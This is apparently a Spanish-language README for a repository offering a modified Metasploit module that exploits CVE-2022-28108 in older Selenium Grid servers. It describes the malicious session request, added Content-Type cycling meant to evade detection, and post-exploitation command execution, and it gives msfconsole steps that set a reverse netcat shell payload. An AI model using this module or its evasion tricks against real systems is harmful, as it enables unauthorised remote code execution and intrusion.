
Módulo de Metasploit que explota CVE-2022-28108 en Selenium Grid para ejecución remota de código, con evasión de tipo de contenido y capacidades de post-explotación.
Este repositorio contiene una versión modificada de un módulo de Metasploit que explota una vulnerabilidad de Ejecución Remota de Código en versiones antiguas de Selenium Server (Grid).
Por favor, lea este README atentamente antes de usar este código.
Reconocimiento del código original:
Este módulo se basa en el excelente trabajo de los autores originales del módulo de Metasploit para CVE-2022-28108. La funcionalidad principal de explotación de la vulnerabilidad de Selenium Server sigue basándose en gran medida en su implementación. Reconocemos y agradecemos su contribución a la comunidad de seguridad.
'Author'). Consulte el módulo original para conocer sus nombres específicos.Vulnerabilidad explotada:
Este módulo está dirigido a CVE-2022-28108, una vulnerabilidad de Falsificación de Solicitud entre Sitios (CSRF) en Selenium Server (Grid) en versiones anteriores a 4.0.0-alpha-7. Esta vulnerabilidad surge porque el servidor permite tipos de contenido que no son JSON (como text/plain, application/x-www-form-urlencoded y multipart/form-data) para ciertas solicitudes. Un atacante puede aprovechar esto para enviar solicitudes maliciosas, lo que conduce a la Ejecución Remota de Código (RCE) en el servidor.
Cómo funciona el código original:
El módulo original de Metasploit explota esta vulnerabilidad enviando una solicitud POST manipulada al endpoint /wd/hub/session del servidor Selenium vulnerable. Esta solicitud utiliza un Content-Type que no es JSON (específicamente text/plain) e incluye configuraciones maliciosas dentro de goog:chromeOptions de las capacidades del navegador deseadas. Esto permite a un atacante especificar un binario arbitrario (como /usr/bin/python3) y argumentos para ejecutar en el servidor cuando se inicia una nueva sesión de navegador.
Modificaciones y mejoras en esta versión:
Este repositorio contiene una versión modificada del módulo original de Metasploit. Las modificaciones principales incluyen:
Content-Type: El módulo modificado intenta explotar la vulnerabilidad enviando la solicitud maliciosa con múltiples cabeceras Content-Type diferentes. Esto incluye text/plain, application/x-www-form-urlencoded y multipart/form-data. Esto se hace para potencialmente evadir mecanismos básicos de filtrado o detección que podrían estar buscando un Content-Type específico.execute_post_exploitation: Se ha añadido una nueva función execute_post_exploitation(session_response). Esta función se llama después de una explotación exitosa y tiene como objetivo realizar tareas básicas de post-explotación. En la implementación actual, incluye:
execute_command_on_target: Se ha añadido otra nueva función execute_command_on_target(command). Esta función permite la ejecución de comandos arbitrarios en el sistema objetivo después de una explotación exitosa. Se utiliza dentro de la función execute_post_exploitation y puede extenderse para actividades posteriores de post-explotación.Diferencias clave destacadas:
La diferencia principal reside en el método exploit y en la adición de las dos nuevas funciones.
exploit original: Centrado en enviar una única solicitud con Content-Type: text/plain.exploit modificado: Itera a través de diferentes valores de Content-Type, intentando la explotación con cada uno. Tras una explotación exitosa, llama a la función execute_post_exploitation.execute_post_exploitation y execute_command_on_target son adiciones completamente nuevas de esta versión modificada, que proporcionan capacidades ampliadas de post-explotación.Cómo usar el módulo modificado:
.rb (por ejemplo, selenium_rce_extended.rb)./usr/share/metasploit-framework/modules/exploits/ o ~/.msf4/modules/exploits/. Consulte su instalación de Metasploit para conocer la ubicación exacta.msfconsole.use exploit/selenium_rce_extended (o la ruta donde guardó el archivo si lo colocó en un subdirectorio).msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
exploit.Consideraciones importantes (Descargo de responsabilidad):
Descargo de responsabilidad:
Los autores de este código modificado no son responsables de ningún uso indebido o daño causado por el uso de este módulo. Al usar este código, usted acepta asumir toda la responsabilidad por sus acciones.
Licencia:
Este código modificado probablemente esté cubierto por la misma licencia que la del Metasploit Framework original (normalmente la Licencia MSF). Consulte la licencia del Metasploit Framework original para obtener más detalles.
Contribuciones:
Las contribuciones y mejoras a este módulo son bienvenidas. No dude en enviar pull requests con correcciones de errores, mejoras o nuevas funcionalidades.
Agradecimientos:
Reiteramos nuestro agradecimiento a los autores originales del módulo de Metasploit para CVE-2022-28108. Su trabajo constituye la base de este módulo modificado.